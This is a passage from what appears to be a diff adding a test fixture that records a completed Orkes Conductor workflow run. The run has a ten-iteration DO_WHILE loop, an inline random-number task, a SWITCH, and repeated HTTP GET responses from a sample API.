"najeeb_test_do_while_iteration", + taskId: "97dbf8c3-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5081, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "yfxgvcpjtxnjlftbtcpr", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_4", + taskReferenceName: "http_ref_4", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 84, + loopOverTask: false, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_4", + retryCount: 0, + seq: 43, + pollCount: 1, + taskDefName: "http_4", + scheduledTime: 1713413859277, + startTime: 1713413859361, + endTime: 1713413859373, + updateTime: 1713413859361, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97dbf8c3-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5081, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "yfxgvcpjtxnjlftbtcpr", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_4", + taskReferenceName: "http_ref_4", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 84, + loopOverTask: false, + taskDefinition: null, + }, + ], + }, + do_while_ref_1: { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { + number: 10, + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "do_while_ref_1", + retryCount: 0, + seq: 44, + pollCount: 0, + taskDefName: "do_while_1", + scheduledTime: 1713413859382, + startTime: 1713413859382, + endTime: 1713413862160, + updateTime: 1713413861832, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97eb8924-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + 1: { + switch_ref_1: { + evaluationResult: ["2"], + selectedCase: "2", + }, + inline_ref_1: { + result: 2, + }, + http_ref_7: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9943, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "tjxztrsclyzabbqspjmv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9428, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "lwfynuupwbgkcwgqemcs", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 2: { + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + inline_ref_1: { + result: 3, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3723, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "kjmdqmvozujqsxupnlot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 154, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "obdruesgtvezidzuenhu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1892, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "heqrbsinaexemndlvmcp", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 3: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7080, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "cuurineeimzdpveetkte", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9931, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "ktrbhjusvnttizwmopxg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3569, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "rbeetiujrcnurymrqpvl", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 4: { + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + inline_ref_1: { + result: 3, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8155, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "tniyursobyqwmcgnfxcj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5254, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "fqlewtggkleyvghxoyqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7061, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "ixireilwipqxtseivuxm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 5: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5878, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "bksldazxfxhyoyefvrxf", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2932, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "djokkjixbuwxlsstoaab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9316, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "dytnpkdddlzmtzlwfpal", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 6: { + switch_ref_1: { + evaluationResult: ["4"], + selectedCase: "4", + }, + inline_ref_1: { + result: 4, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4089, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "khrlsfsjmhvsjgtshbfz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 7: { + switch_ref_1: { + evaluationResult: ["4"], + selectedCase: "4", + }, + inline_ref_1: { + result: 4, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8433, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "nwltborbttslioxepwhe", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 8: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 242, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "idkvujpflbawjvbtcqol", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5914, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "sccygcowawimarjtitnq", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2173, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "saxapbpahdmmtpavvjlm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 9: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4359, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "lmbrmrnefvkwwwbmvolm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 395, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "myxiwwnhjbxhdwkfwmzm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2885, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "ykuzzhmdpvfcragcwxoh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 10: { + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + inline_ref_1: { + result: 3, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4274, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "kwmoumdlucxuwgphkxaj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5175, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "enhhdgrjmtgntufhymzm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4750, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "oeenqbhrzifhhetyzpcu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + iteration: 10, + }, + workflowTask: { + name: "do_while_1", + taskReferenceName: "do_while_ref_1", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\n if ($.do_while_ref_1['iteration'] < $.number) {\n return true;\n }\n return false;\n})();", + loopOver: [ + { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { + number: 10, + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "do_while_ref_1", + retryCount: 0, + seq: 44, + pollCount: 0, + taskDefName: "do_while_1", + scheduledTime: 1713413859382, + startTime: 1713413859382, + endTime: 1713413862160, + updateTime: 1713413861832, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97eb8924-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + 1: { + switch_ref_1: { + evaluationResult: ["2"], + selectedCase: "2", + }, + inline_ref_1: { + result: 2, + }, + http_ref_7: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9943, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "tjxztrsclyzabbqspjmv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9428, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "lwfynuupwbgkcwgqemcs", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 2: { + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + inline_ref_1: { + result: 3, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3723, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "kjmdqmvozujqsxupnlot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 154, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "obdruesgtvezidzuenhu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1892, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "heqrbsinaexemndlvmcp", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 3: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7080, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "cuurineeimzdpveetkte", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9931, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "ktrbhjusvnttizwmopxg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3569, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "rbeetiujrcnurymrqpvl", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 4: { + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + inline_ref_1: { + result: 3, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8155, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "tniyursobyqwmcgnfxcj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5254, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "fqlewtggkleyvghxoyqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7061, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: 